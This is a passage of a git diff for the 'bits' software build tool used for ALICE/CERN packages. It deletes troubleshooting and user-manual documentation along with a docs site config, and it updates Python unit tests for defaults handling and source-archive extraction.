you add a file to a development package and the build recipe is -able to handle uncommitted files, it will be copied the first time. - -However bits considers any untracked file as the same, and therefore unless -the file is added or committed to the local clone of the development package any -subsequent rebuild will ignore the changes. This can be worked around in two ways: - -1. You add the file to your local clone via git add / git commit -2. You add an incremental_recipe which is able to handle uncommitted files - -What 1. does is to make bits aware of the changes of the new file, so you -will get a new build for each change to the file. What 2. does is to always -execute the incremental recipe to refresh the installation folder on each bits -invocation, possibly updating untracked files if so specified in the recipe itself. - -### How do I set compilation options for AliRoot and / or AliPhysics? - -If you want to change the compilation options for AliRoot, AliPhysics, -or as a matter of fact any packages you have two options: - -- If the package itself is one which you are developing locally, i.e. - you have the checkout available, you can modify its CMakeFile, add - whatever options you like there and then issue again your bits - command. -- On contrary, if you do not have a local checkout but you still want to - modify it's compiler flags, you can edit the `alidist/aliroot.sh` recipe - and add the options there. - -Finally, for certain common options, e.g. debug flags, we provide a -precooked configuration using so called [defaults](user.md#defaults). -Simply add `--defaults debug` to your bits flags and it will add -debug flags to all your packages. - -### AliPhysics takes very long time to build and builds things like autotools, GCC - -In order to build AliPhysics, a number of externals are required, -including working autotools, boost, and GCC. While buits tries it -best to reuse whatever comes from the system, it will not complain when -building unless one of the system dependencies is absolutely required -(e.g. X11, perl). This might lead to the fact it will rebuild large -tool, where simply installing them might be a better option. For this -reason we suggest that users run: - - bits doctor AliPhysics - -in the same path where their `alidist` folder is, before actually -starting to build, so that they can get an overview of what will be -picked up from the system and what not. - -Notice that if you change (either add or remove) your set of system -dependencies, bits will trigger a rebuild of whatever depends on -them, taking additional time, so make sure you do this when not pressed -for a deadline. - -### Permission denied when running alienv on shared (farm) installations - -When attempting to do `alienv` operations on shared (farm) installations you -might get a number of `Permission denied` errors. In order to fix this problem -you need to make sure that shared builds with `buits` are always made by the -same user. In addition after every `bits` run the person who has run it has -to run the following command in order to generate all the correct modulefiles -as seen by the users: - - bits q - -### Building on Windows Ubuntu environment does not work - -At the time of writing, neither Windows native nor the Ubuntu environment -on Windows are supported and most likely this will stay the same unless some -third party does the work and provides a pull request. - -### Can I build on an unsupported architecture? - -You can try, but of course your mileage might vary. In case the architecture is similar to one of the supported ones (e.g. Ubuntu and Kubuntu) this should be recognized automatically and the build should proceed, attempting to use the supported one. This will still not guarantee things will not break for some packages. - -In case the architecture is completely unknown to us, you will get a message: - -``` -ERROR: Cannot autodetect architecture -``` - -if you still want to try, you can use the `--force-unknown-architecture` option and while we strive our best to help you out also in this case, sometimes priorities force us to simply ignore support requests. - -### How do I run on a system where I do not have global install rights? - -If you want to run on a system where you do not have global install rights, and -the PyYAML package is not installed (e.g. lxplus), you can still do so by using -the `--user` flag when you install with `pip`. This will install bits under -`~/.local/bin`. - -This means that you need to do (only once): - - pip install --user --upgrade bits - -and then adapt you PATH to pickup the local installation, e.g. via: - - export PATH=~/.local/bin:$PATH - - -### bits keeps asking for my password - -Some packages you may need to build have their source code in a protected repository on CERN GitLab. -This means that you may be asked for a username and password when you run `bits build`. -See below for ways to avoid being prompted too often. - -#### SSH authentication - -You can use an SSH key to authenticate with CERN GitLab. -This way, you will not be prompted for your GitLab password at all. -To do this, find your public key (this usually lives in `~/.ssh/id_rsa.pub`) and copy the contents of the file into [your user settings on CERN GitLab][gitlab-ssh-key]. -If you have no SSH key, you can generate one using the `ssh-keygen` command. -Then, configure git to use SSH to authenticate with CERN GitLab using the following command: - -```bash -git config --global 'url.ssh://git@gitlab.cern.ch:7999/.insteadof' 'https://gitlab.cern.ch/' -``` - -[gitlab-ssh-key]: https://gitlab.cern.ch/-/user_settings/ssh_keys - -#### Caching passwords - -If you prefer not to use SSH keys as described above, you can alternatively configure git to remember the passwords you input for a short time (such as a few hours). -In order to do this, run the command below (which remembers your passwords for an hour each time you type them into git). - -```bash -git config --global credential.helper 'cache --timeout 3600' -``` - -You can adjust the timeout (3600 seconds, above) to your liking, if you would prefer git to remember your passwords for longer. - -#### I get an HTTP/2 related error - -Some network provider do not support HTTP/2 apparently. If you get: - -```bash -error: RPC failed; curl 92 HTTP/2 stream 5 was not closed cleanly: CANCEL (err 8) -``` - -or similar message, try to disable HTTP/2 with something like: - -``` -git config --global http.version HTTP/1.1 -``` diff --git a/docs/docs/user.md b/docs/docs/user.md deleted file mode 100644 index 5d89b6f8..00000000 --- a/docs/docs/user.md +++ /dev/null @@ -1,529 +0,0 @@ ---- -subtitle: User command line reference manual -layout: main ---- - -## SYNOPSIS - -For a quick start introduction, please look [here](quick.md). - -``` -bits build [-h] [--defaults DEFAULT] - [-a ARCH] [--force-unknown-architecture] - [-z [DEVELPREFIX]] [-e ENVIRONMENT] [-j JOBS] [-u] - [--no-local PKGLIST] [--force-tracked] [--disable PACKAGE] - [--force-rebuild PACKAGE] [--annotate PACKAGE=COMMENT] - [--only-deps] [--plugin PLUGIN] - [--always-prefer-system | --no-system] - [--docker] [--docker-image IMAGE] [--docker-extra-args ARGLIST] [-v VOLUMES] - [--no-remote-store] [--remote-store STORE] [--write-store STORE] [--insecure] - [-C DIR] [-w WORKDIR] [-c CONFIGDIR] [--reference-sources MIRRORDIR] - [--aggressive-cleanup] [--no-auto-cleanup] - PACKAGE [PACKAGE ...] -``` - -- `PACKAGE`: One of the packages in `CONFIGDIR`. May be specified multiple - times. -- `-h`, `--help`: show this help message and exit -- `--defaults DEFAULT`: Use defaults from `CONFIGDIR/defaults-DEFAULT.sh`. -- `-a ARCH`, `--architecture ARCH`: Build as if on the specified architecture. - When used with `--docker`, build inside a Docker image for the specified - architecture. Default is the current system architecture. -- `--force-unknown-architecture`: Build on this system, even if it doesn't have - a supported architecture. -- `-z [DEVELPREFIX]`, `--devel-prefix [DEVELPREFIX]`: Version name to use for - development packages. Defaults to branch name. -- `-e ENVIRONMENT`: KEY=VALUE binding to add to the build environment. May be - specified multiple times. -- `-j JOBS`, `--jobs JOBS`: The number of parallel compilation processes to run. -- `-u`, `--fetch-repos`: Fetch updates to repositories in `MIRRORDIR`. Required - but nonexistent repositories are always cloned, even if this option is not - given. -- `--no-local PKGLIST`: Do not pick up the following packages from a local - checkout. `PKGLIST` is a comma-separated list. -- `--force-tracked`: Do not pick up any packages from a local checkout. -- `--disable PACKAGE`: Do not build `PACKAGE` and all its (unique) dependencies. -- `--force-rebuild PACKAGE`: Always rebuild the specified packages from scratch, - even if they were built before. Has the same effect as adding - `force_rebuild: true` to the recipe. May be specified multiple times or - separate multiple arguments with commas. -- `--annotate PACKAGE=COMMENT`: Store `COMMENT` in the build metadata for - `PACKAGE`. The comment will only be stored if the package is compiled or - downloaded during this run. May be specified multiple times. -- `--only-deps`: Only build dependencies, not the main package. Useful for - populating a build cache. -- `--plugin PLUGIN`: Plugin to use for the build. Default is `legacy`. -- `--always-prefer-system`: Always use system packages when compatible. -- `--no-system`: Never use system packages, even if compatible. - -### Building inside a container - -Builds can be done inside a Docker container, to make it easier to get a common, -usable environment. The Docker daemon must be installed and running on your -system. By default, images from `alisw/-builder:latest` will be used, -e.g. `alisw/slc8-builder:latest`. They will be fetched if unavailable. - -- `--docker`: Build inside a Docker container. -- `--docker-image IMAGE`: The Docker image to build inside of. Implies - `--docker`. By default, an image is chosen based on the architecture. -- `--docker-extra-args ARGLIST`: Command-line arguments to pass to `docker run`. - Passed through verbatim -- separate multiple arguments with spaces, and make - sure quoting is correct! Implies `--docker`. -- `-v VOLUMES`: Additional volume to be mounted inside the Docker container, if - one is used. May be specified multiple times. Passed verbatim to `docker run`. - -### Re-using prebuilt tarballs - -Reusing prebuilt tarballs saves compilation time, as common packages need not be -rebuilt from scratch. `rsync://`, `https://`, `b3://` and `s3://` remote stores -are recognised. Some of these require credentials: `s3://` remotes require an -`~/.s3cfg`; `b3://` remotes require `AWS_ACCESS_KEY_ID` and -`AWS_SECRET_ACCESS_KEY` environment variables. A useful remote store is -`https://s3.cern.ch/swift/v1/alibuild-repo`. It requires no credentials and -provides tarballs for the most common supported architectures. - -- `--no-remote-store`: Disable the use of the remote store, even if it is - enabled by default. -- `--remote-store STORE`: Where to find prebuilt tarballs to reuse. See above - for available remote stores. End with `::rw` if you want to upload (in that - case, `::rw` is stripped and `--write-store` is set to the same value). - Implies `--no-system`. May be set to a default store on some architectures; - use `--no-remote-store` to disable it in that case. -- `--write-store STORE`: Where to upload newly built packages. Same syntax as - `--remote-store`, except `::rw` is not recognised. Implies `--no-system`. -- `--insecure`: Don't validate TLS certificates when connecting to an `https://` - remote store. - -### Customise bits directories - -- `-C DIR`, `--chdir DIR`: Change to the specified directory before building. - Alternatively, set `BITS_CHDIR`. Default `.`. -- `-w WORKDIR`, `--work-dir WORKDIR` The toplevel directory under which builds - should be done and build results should be installed. Default `sw`. -- `-c CONFIGDIR`, `--config-dir CONFIGDIR`: The directory containing build - recipes. Default `alidist`. -- `--reference-sources MIRRORDIR`: The directory where reference git - repositories will be cloned. `%(workDir)s` will be substituted by `WORKDIR`. - Default `%(workDir)s/MIRROR`. - -### Cleaning up after building - -- `--aggressive-cleanup`: Delete as much build data as possible when cleaning - up. -- `--no-auto-cleanup`: Do not clean up build directories automatically after a - build. - -## Using precompiled packages - -By running bits with no special option on CentOS/Alma 7, 8 or 9 (x86-64 or ARM), -or on Ubuntu 20.04, 22.04 or 24.04 (x86-64), it will automatically try to -use as many precompiled packages as possible by downloading them from a default -central server. By using precompiled packages you lose the ability to pick some -of them from your system. If you do not want to use precompiled packages and you -want to pick as many packages as possible from your system, you should manually -specify the `--always-prefer-system` option. - -It is possible to benefit from precompiled builds on every platform, provided -that the server caching the builds is maintained by yourself. Since every build -is stored as a tarball with a unique hash, it is sufficient to provide for a -server or shared space where cached builds will be stored and made available to -others. - -In order to specify the cache store, use the option `--remote-store `, -where `` can be: - -* a local path, for instance `/opt/bits_cache`, -* a remote SSH accessible path, `ssh://:`, -* an unencrypted rsync path, `rsync:///path`, -* a CERN S3 bucket, `b3://`, -* a HTTP(s) server, `http:///`. - -The first four options can also be writable (if you have proper permissions): -if you specify `::rw` at the end of the URL, your builds will be cached there. -This is normally what sysadmins do to precache builds: other users can simply -use the same URL in read-only mode (no `::rw` specified) to fetch the builds. - -You need to make sure you have proper filesystem/SSH/rsync permissions of -course. - -It is also possible to specify a write store different from the read one by -using the `--write-store` option. - -bits can reuse precompiled packages if they were built with a different tag, -if that tag points to the same actual commit that you're building now. (This is -used for the nightly tags, as they are built from a branch named -`rc/nightly-YYYYMMDD`, while alidist is updated to have a tag like -`nightly-YYYYMMDD` instead, pointing to the same commit.) However, this reuse -only works if the precompiled package has the same version as specified in your -copy of alidist. - -This approach assumes that tags don't move (i.e. don't change which commit they -are tagging) in the repositories being built. If you administer a cache store, -make sure to delete cached tarballs built using that tag if a tag is moved! - -## Developing packages locally - -One of the use cases we want to cover is the ability to develop external -packages without having to go through an commit - push - pull cycle. - -In order to do so, you can simply checkout the package you want to -develop at the same level as bits and repository directory. - -For example, if you want to build O2 while having the ability to modify -ROOT, you can do the following: - - git clone https://github.com/alisw/alidist - git clone https://github.com/root-mirror/root ROOT - - bits ... build O2 - -The above will make sure the build will pick up your changes in the local -directory. - -As a cherry on the cake, in case your recipe does not require any environment, -you can even do: - - cd sw/BUILD/ROOT/latest - make install - -and it will correctly install everything in `sw//ROOT/latest`. -This of course mean that for each development package you might end up -with one or more build directories which might increase the used disk -space. - -It's also important to notice that if you use your own checkout of a -package, you will not be able to write to any store and the generated -tgz will be empty. - -If you wish to temporary compile with the package as specified by -alidist, you can use the `--no-local ` option. - -### Incremental builds - -When developing locally using the development mode, if the external -is well behaved and supports incremental building, it is possible to -specify an `incremental_recipe` in the YAML preamble. Such a recipe will -be used after the second time the build happens (to ensure that the non -incremental parts of the build are done) and will be executed directly -in $BUILDDIR, only recompiled what changed. Notice that if this is the -case the incremental recipe will always be executed. - -### Forcing a different architecture - -While bits does its best to find out which OS / distribution you are -using, sometimes it might fail to do so, for example in the case you -start using a new *buntu flavour or a bleeding edge version of a distribution. -In order to force the correct architecture for the build you can use -the `--architecture` (`-a`) flag with one of the supported options: - -On Linux, x86-64: -- `slc6_x86-64`: RHEL6 / SLC6 compatible -- `slc7_x86-64`: RHEL7 / CC7 compatible -- `slc8_x86-64`: RHEL8 / CC8 compatible -- `slc9_x86-64`: RHEL9 / ALMA9 compatible -- `ubuntu2004_x86-64`: Ubuntu 20.04 compatible -- `ubuntu2204_x86-64`: Ubuntu 22.04 compatible -- `ubuntu2404_x86-64`: Ubuntu 24.04 compatible -- `fedora33_x86-64`: Fedora 33 compatible -- `fedora34_x86-64`: Fedora 34 compatible - -On Linux, ARM: -- `slc9_aarch64`: RHEL9 / ALMA9 compatible - -On Linux, POWER8 / PPC64 (little endian): -- `slc7_ppc64`: RHEL7 / CC7 compatible - -On Mac: -- `osx_x86-64`: Intel -- `osx_arm64`: Apple Silicon - -### Running in Docker - -Very often one needs to run on a platform which is different from -the one being used for development. The common use case is that -development happens on a Mac while production runs on some older Linux -distribution like SLC5 or SLC6. In order to improve the experience -of cross platform development bits now offers the ability to run -in [Docker](https://docker.io) via the `--docker` option. When it is -specified the first part of the architecture will be used to construct -the name of the docker container to be used for the build and the build -itself will be performed inside that container. For example if you -specify: - -```bash -bits --docker -a slc7_x86-64 build ROOT -``` - -the build itself will happen inside the alisw/slc7-builder Docker -container. Environment variables can be passed to docker by specifying -them with the `-e` option. Extra volumes can be specified with the -v -option using the same syntax used by Docker. - -### Recipe sandbox - -Bits can run each recipe build script inside an isolated sandbox to reduce -the risk from untrusted recipes. On Linux the sandbox uses rootless podman; -on macOS it uses the built-in `sandbox-exec` (no virtual machine, no -overhead). When `--docker` is active, a nested podman layer is added inside -the builder container. - -The sandbox is controlled by `--sandbox MODE`: - -- `auto` (default) — pick the best available option automatically; fall - back silently to `off` when nothing is installed. -- `podman` — always use podman (requires `--docker` or `--sandbox-image`). -- `sandbox-exec` — macOS only. -- `off` — disable sandboxing. - -Outgoing network access is **blocked** by default inside the sandbox. For -recipes that need to download dependencies at build time (e.g. `pip install`), -add `sandbox_network: off` to the recipe header: - -```yaml -package: my-tool -version: "1.0" -sandbox_network: off ---- -pip install -r requirements.txt -``` - -See [§22a of the reference manual](reference.md#22a-recipe-sandbox) for the -full option reference. - -### Cross-compilation via QEMU - -Bits can build packages for a different CPU architecture on a single host by -combining Docker's `--platform` flag with QEMU user-mode emulation. When the -target architecture differs from the host, Docker pulls the matching image -variant and QEMU transparently executes the foreign binaries — the recipe -sees a native environment for the target architecture. - -**One-time runner setup** — register QEMU binfmt handlers on the Docker host: - -```bash -docker run --rm --privileged multiarch/qemu-user-static --reset -p yes - -# Verify -docker run --rm --platform linux/arm64 alpine uname -m # aarch64 -``` - -**Building for a different architecture** — no extra flags needed in the -common case; bits injects `--platform` automatically when the target -architecture differs from the host: - -```bash -# On an x86-64 host, produce an aarch64 tarball -bits build MyAnalysis -a slc9_aarch64 --docker - -# With an explicit CVMFS prefix for the aarch64 deployment path -bits build MyAnalysis -a slc9_aarch64 --docker \ - --cvmfs-prefix /cvmfs/alice.cern.ch/el9/aarch64 -``` - -Use `--docker-platform native` to suppress automatic injection (e.g. on a -native ARM runner where no QEMU is needed). - -**Performance note** — QEMU runs at roughly 20–50 % of native speed. This -is fine for small analysis packages but impractical for large stacks (ROOT, -Geant4). For full-stack cross-compilation, use a native runner of the target -architecture. - -**Sandbox** — nested QEMU + podman may fail without `--security-opt -seccomp=unconfined` on the outer container. Use `--sandbox=off` for -cross-compilation builds unless the runner is known to support it. - -See [§22b of the reference manual](reference.md#22b-cross-compilation-via-qemu) -for the full option reference and architecture mapping table. - -## Defaults - -By default, `bits` uses the `o2` defaults (`--defaults o2`), which are -optimized for building the ALICE O2 software stack. The defaults system -allows you to specify different sets of build configurations, compiler -flags, and package versions through the `--defaults` option. - -Different defaults can be used to: -- Use different package versions (e.g., different ROOT versions) -- Apply specific compiler flags (e.g., debug builds, optimization levels) -- Enable or disable certain features or packages - -To use a different set of defaults, use the `--defaults ` option, -which will load settings from `CONFIGDIR/defaults-.sh`. For example, -`--defaults o2-epn` would use the `defaults-o2-epn.sh` file. - -For a more complete description of how the defaults system works and how to -create custom defaults, please look at [the reference manual](reference.md#defaults). - -## Disabling packages - -You can optionally disable certain packages by specifying them as a comma -separated list with the `--disable` option. - -It is possible to disable packages by adding them to the `disable` -keyword of your defaults file (see previous paragraph). See the -[defaults-o2.sh](https://github.com/alisw/alidist/blob/master/defaults-o2.sh) -file for an example of how to disable `mesos` and `MySQL` when -passing `--defaults o2`. - -## Controlling which system packages are picked up - -When compiling, there is a number of packages which can be picked up -from the system, and only if they are not found, do not have their -devel part installed, or they are not considered good enough they are -recompiled from scratch. A typical example is things like autotools, -zlib or cmake which should be available on a standard developer machine -and we rebuild them as last resort. In certain cases, to ensure full -compatibility on what is done in production it might be desirable to -always pick up our own version of the tools. This can be done by passing -the `--no-system` option to bits. On the other hand, there might -be cases in which you want to pick up not only basic tools, but also -advanced ones like ROOT, Geant4, or Pythia from the system, either to -save time or because you have a pre-existing setup which you do not want -to touch. In this case you can use `--always-prefer-system` option which -will try very hard to reuse as many system packages as possible (always -checking they are actually compatible with the one used in the recipe). - -## Cleaning up the build area (new in 1.1.0) - -Whenever you build using a different recipe or set of sources, bits -makes sure that all the dependent packages which might be affected -by the change are rebuild, and it does so in a different directory. -This can lead to the profiliferation of many build / installation -directories, in particular while developing a recipe for a new package -(e.g. a new generator). - -In order to remove all past builds and only keep the latest one for each -alidist area you might have used and for each breanch (but not commit) -ever build for a given development package you can use the - - bits clean - -subcommand which will do its best to clean up your build and -installation area. - -## Upgrading bits - -bits can be installed either via `pip`, or by your OS package manager (more info [here](https://alice-doc.github.io/alice-analysis-tutorial/building/custom.html). - -The way to upgrade it depends on your installation method. If you installed it -via `pip`, you can upgrade it by running: - - pip install --upgrade bits - -In general updating bits is safe and it should never trigger a rebuild or -break compilation of older versions of alidist (i.e. we do try to guarantee -backward compatibility). In no case an update of bits will result in the -update of `alidist`, which users will have to be done separately. -In case some yet to appear bug in bits will force us to rebuild a -previously built area, this will be widely publicized and users will get a warning -when running the command. - -You can also upgrade / install a specific version of bits by specifying it on the -command line. E.g.: - - pip install bits=1.17.23 - - -## Rebuilding packages from branches instead of tags - -Generally, recipes specify a Git _tag_ name in the `tag:` field. In some cases, -_branch names_ might be used instead (such as `tag: master` or `tag: dev`). In -such a rare case, bits needs to know what is the last branch commit to -determine whether a rebuild is necessary. - -Such check by default uses cached information instead of doing very slow queries -to remote servers. This means that bits is fast in determining which -packages to build. However, packages using branch names might not get rebuilt as -expected when new changes are pushed to those branches. - -In this case, you can ask bits to update cached branches information by -adding the `-u` or `--fetch-repos` option. Note that by default this is not -needed, it's only for very special use cases (such as centralized builds and -server-side pull request checks). - -## Generating a dependency graph - -It is possible to generating a PDF with a dependency graph using the `bits deps` -tool. Assuming you run it from a directory containing `alidist`, and you have -Graphviz installed on your system, you can simply run: - - bits deps O2 --outgraph graph.pdf - -The example above generates a dependency graph for the package `O2`, and saving -the results to a PDF file named `graph.pdf`. This is what the graph looks like: - -![drawing](deps.png) - -Packages in green are runtime dependencies, purple are build dependencies, while -red packages are runtime dependencies in some cases, and build dependencies in -others (this can indicate an error in the recipes). - -Connections are color-coded as well: blue connections indicate a runtime -dependency whereas a grey connection indicate a build dependency. - -By default, `bits deps` runs the usual system checks to exclude packages that can -be taken from the system. If you want to display the full list of dependencies, -you may want to use: - - bits deps O2 --no-system --outgraph graph.pdf - -Additional useful options for `bits deps` include: - -- `--neat`: Produce a graph with transitive reduction, removing edges that are - implied by other paths in the graph. This can make complex dependency graphs - easier to read. -- `--outdot FILE`: Keep the intermediate Graphviz dot file in `FILE`. Useful if - you want to manually modify the graph or generate output in different formats. - -For example, to generate a simplified graph and keep the dot file: - - bits deps O2 --neat --outdot graph.dot --outgraph graph.pdf - -Please run `bits deps --help` for further information. - -## Using the packages you have built - -### Loading the package environment - -Environment for packages built using bits is managed by -[Environment Modules](http://modules.sourceforge.net) and the wrapper script -`alienv`. To list the available packages you can do: - - alienv q - -while: - - alienv enter VO_ALICE@PackageA::VersionA[,VO_ALICE@PackageB::VersionB...] - -will enter a shell with the appropriate environment set. Note that loading a -toplevel package recursively sets the environment for all its dependencies. - -You can also execute a command with the proper environment without altering the -current one. For instance: - - alienv setenv VO_ALICE@AliRoot::latest -c aliroot -b - -To see other commands consult the online manual: - - alienv help - -Environment Modules is required: the package is usually called -`environment-modules` on Linux, or simply `modules` if using Homebrew on OSX. - -Note that `alienv` works exactly like the one found on CVMFS, but for local -packages built with `bits`. - -### Environment for packages lacking a module definition - -Some packages do not have a modulefile: this usually occurs for those which are -not distributed on the Grid. If you think this is wrong feel free to submit a -[pull request](https://github.com/alisw/alidist/pulls) or -[open an issue](https://github.com/alisw/alidist/issues) to the relevant -packages. - -It is still possible to load the environment by sourcing the `init.sh` file -produced for each package under the `etc/profile.d` subdirectory. For instance: - - WORK_DIR=$PWD/sw source sw/slc7_x86-64/AliRoot/v5-08-02-1/etc/profile.d/init.sh - -Dependencies are automatically loaded. diff --git a/docs/mkdocs.yml b/docs/mkdocs.yml deleted file mode 100644 index 1ac9d5b2..00000000 --- a/docs/mkdocs.yml +++ /dev/null @@ -1,37 +0,0 @@ -site_name: "aliBuild: ALICE software builder" -repo_name: View source code -repo_url: https://github.com/alisw/alibuild - -theme: - name: material - logo: alice_logo.png - -extra_css: [stylesheets/extra.css] - -use_directory_urls: false - -nav: - - Home: index.md - - Quickstart: quick.md - - User manual: user.md - - Reference: reference.md - - Troubleshooting: troubleshooting.md - - ALICE/O2 tutorial: "https://alice-doc.github.io/alice-analysis-tutorial/building/" - -markdown_extensions: - - pymdownx.highlight: - anchor_linenums: true - line_spans: __span - pygments_lang_class: true - - pymdownx.inlinehilite - - pymdownx.snippets - - pymdownx.superfences - - toc: - permalink: "#" - -plugins: - - search - - redirects: - redirect_maps: - 'o2-tutorial.html': 'https://alice-doc.github.io/alice-analysis-tutorial/building/' - 'tutorial.html': 'https://alice-doc.github.io/alice-analysis-tutorial/building/' diff --git a/tests/test_args.py b/tests/test_args.py index f7fbc001..5383e471 100644 --- a/tests/test_args.py +++ b/tests/test_args.py @@ -62,10 +62,10 @@ class FakeExit(Exception): ((), "build zlib -a slc7_x86-64 --docker-extra-args=--foo" , [("docker", True), ("dockerImage", "registry.cern.ch/alisw/slc7-builder"), ("docker_extra_args", ["--foo", "--network=host", _MOCK_CPUSET_ARG])]), ((), "build zlib --devel-prefix -a slc7_x86-64 --docker" , [("docker", True), ("dockerImage", "registry.cern.ch/alisw/slc7-builder"), ("develPrefix", "%s-slc7_x86-64" % os.path.basename(os.getcwd()))]), ((), "build zlib --devel-prefix -a slc7_x86-64 --docker-image someimage" , [("docker", True), ("dockerImage", "someimage"), ("develPrefix", "%s-slc7_x86-64" % os.path.basename(os.getcwd()))]), - ((), "--debug build --force-unknown-architecture --defaults o2 O2" , [("debug", True), ("action", "build"), ("defaults", ["o2"]), ("pkgname", ["O2"])]), - ((), "build --force-unknown-architecture --debug --defaults o2 O2" , [("debug", True), ("action", "build"), ("force_rebuild", []), ("defaults", ["o2"]), ("pkgname", ["O2"])]), - ((), "build --force-unknown-architecture --force-rebuild O2 --force-rebuild O2Physics --defaults o2 O2Physics", [("action", "build"), ("force_rebuild", ["O2", "O2Physics"]), ("defaults", ["o2"]), ("pkgname", ["O2Physics"])]), - ((), "build --force-unknown-architecture --force-rebuild O2,O2Physics --defaults o2 O2Physics", [("action", "build"), ("force_rebuild", ["O2", "O2Physics"]), ("defaults", ["o2"]), ("pkgname", ["O2Physics"])]), + ((), "--debug build --force-unknown-architecture --defaults o2 O2" , [("debug", True), ("action", "build"), ("defaults", ["release", "o2"]), ("pkgname", ["O2"])]), + ((), "build --force-unknown-architecture --debug --defaults o2 O2" , [("debug", True), ("action", "build"), ("force_rebuild", []), ("defaults", ["release", "o2"]), ("pkgname", ["O2"])]), + ((), "build --force-unknown-architecture --force-rebuild O2 --force-rebuild O2Physics --defaults o2 O2Physics", [("action", "build"), ("force_rebuild", ["O2", "O2Physics"]), ("defaults", ["release", "o2"]), ("pkgname", ["O2Physics"])]), + ((), "build --force-unknown-architecture --force-rebuild O2,O2Physics --defaults o2 O2Physics", [("action", "build"), ("force_rebuild", ["O2", "O2Physics"]), ("defaults", ["release", "o2"]), ("pkgname", ["O2Physics"])]), ((), "init -z test zlib" , [("configDir", "test/alidist")]), ((), "build --force-unknown-architecture -z test zlib" , [("configDir", "alidist")]), # ((), "analytics off" , [("state", "off")]), @@ -190,5 +190,21 @@ def test_host_online_cpus_fallback_single_cpu(self): self.assertEqual(result, "0-0") +class ReleaseBaseTestCase(unittest.TestCase): + """`release` is the implicit base of every defaults chain.""" + + def test_release_prepended_when_absent(self): + from bits_helpers.args import _with_release_base + self.assertEqual(_with_release_base(["dev4"]), ["release", "dev4"]) + self.assertEqual(_with_release_base(["o2"]), ["release", "o2"]) + + def test_release_not_duplicated(self): + from bits_helpers.args import _with_release_base + self.assertEqual(_with_release_base(["release"]), ["release"]) + self.assertEqual(_with_release_base(["release", "dev4"]), ["release", "dev4"]) + # An explicitly-positioned release is respected as written. + self.assertEqual(_with_release_base(["dev4", "release"]), ["dev4", "release"]) + + if __name__ == '__main__': unittest.main() diff --git a/tests/test_async_build.py b/tests/test_async_build.py index 8159e761..3e3bddfd 100644 --- a/tests/test_async_build.py +++ b/tests/test_async_build.py @@ -10,6 +10,7 @@ import os import re +import shutil import sys import tempfile import threading @@ -352,10 +353,12 @@ def test_defaults(self, mock_commands): args, _ = doParseArgs() self.assertFalse(args.pipeline, "--pipeline must default to False") - self.assertEqual(args.prefetchWorkers, 0, - "--prefetch-workers must default to 0") + self.assertEqual(args.prefetchWorkers, -1, + "--prefetch-workers must default to -1 (auto)") self.assertEqual(args.parallelSources, 1, "--parallel-sources must default to 1") + self.assertEqual(args.parallelDownloads, 2, + "--parallel-downloads must default to 2") @patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") @patch("bits_helpers.args.commands") @@ -447,6 +450,7 @@ def _make_spec(self, sources): "patch_checksums": {}, } + @patch("bits_helpers.workarea._extract_source_archives", new=MagicMock()) @patch("bits_helpers.workarea.symlink", new=MagicMock()) @patch("bits_helpers.workarea.download") @patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0") @@ -460,6 +464,7 @@ def test_sequential_called_for_each_source(self, mock_makedirs, parallel_sources=1) self.assertEqual(mock_download.call_count, len(self.SOURCES)) + @patch("bits_helpers.workarea._extract_source_archives", new=MagicMock()) @patch("bits_helpers.workarea.symlink", new=MagicMock()) @patch("bits_helpers.workarea.download") @patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0") @@ -473,6 +478,7 @@ def test_parallel_called_for_each_source(self, mock_makedirs, parallel_sources=4) self.assertEqual(mock_download.call_count, len(self.SOURCES)) + @patch("bits_helpers.workarea._extract_source_archives", new=MagicMock()) @patch("bits_helpers.workarea.symlink", new=MagicMock()) @patch("bits_helpers.workarea.download") @patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0") @@ -492,6 +498,7 @@ def failing_download(url, *args, **kwargs): checkout_sources(spec, "/sw", "/sw/MIRROR", containerised_build=False, parallel_sources=3) + @patch("bits_helpers.workarea._extract_source_archives", new=MagicMock()) @patch("bits_helpers.workarea.symlink", new=MagicMock()) @patch("bits_helpers.workarea.download") @patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0") @@ -520,6 +527,7 @@ def slow_download(url, *args, **kwargs): self.assertLess(elapsed, 0.40, "Parallel downloads should not take longer than serial") + @patch("bits_helpers.workarea._extract_source_archives", new=MagicMock()) @patch("bits_helpers.workarea.symlink", new=MagicMock()) @patch("bits_helpers.workarea.download") @patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0") @@ -534,5 +542,213 @@ def test_single_source_uses_sequential_path(self, mock_makedirs, mock_download.assert_called_once() +# --------------------------------------------------------------------------- +# 6. _extract_source_archives() +# --------------------------------------------------------------------------- + +class ExtractSourceArchivesTest(unittest.TestCase): + """_extract_source_archives() unpacks archives found in source_dir.""" + + def setUp(self): + self.source_dir = tempfile.mkdtemp() + + def tearDown(self): + shutil.rmtree(self.source_dir, ignore_errors=True) + + # -- sentinel prevents re-extraction -------------------------------------- + + def test_sentinel_skips_extraction(self): + """A valid .bits_extracted sentinel skips re-extraction (no subprocess).""" + import json + from bits_helpers.workarea import (_extract_source_archives, + _archive_prefix_depth) + # Place a fake tarball so we can verify it is not touched. + fake = os.path.join(self.source_dir, "pkg-1.0.tar.gz") + open(fake, "w").close() + # The sentinel records the strip depth used for each archive. Extraction + # is skipped only when the recorded depths match what we'd compute now; + # an empty/legacy sentinel is treated as stale and triggers re-extraction. + # Write a valid sentinel matching the current strip depth. + sentinel = os.path.join(self.source_dir, ".bits_extracted") + with open(sentinel, "w") as fh: + json.dump({"strips": {"pkg-1.0.tar.gz": _archive_prefix_depth(fake)}}, fh) + with patch("bits_helpers.workarea.subprocess") as mock_sp: + _extract_source_archives(self.source_dir) + mock_sp.check_call.assert_not_called() + + # -- tar archives --------------------------------------------------------- + + def _make_tar(self, filename, strip_dir="pkg-1.0"): + """Create a small but valid tar archive with one file inside strip_dir/.""" + import tarfile, io + archive_path = os.path.join(self.source_dir, filename) + with tarfile.open(archive_path, "w:gz") as tf: + content = b"hello\n" + info = tarfile.TarInfo(name=strip_dir + "/hello.txt") + info.size = len(content) + tf.addfile(info, io.BytesIO(content)) + return archive_path + + def test_tar_gz_extracted_with_strip(self): + """A .tar.gz archive is extracted and hello.txt lands in source_dir.""" + from bits_helpers.workarea import _extract_source_archives + self._make_tar("pkg-1.0.tar.gz") + _extract_source_archives(self.source_dir) + self.assertTrue(os.path.exists(os.path.join(self.source_dir, 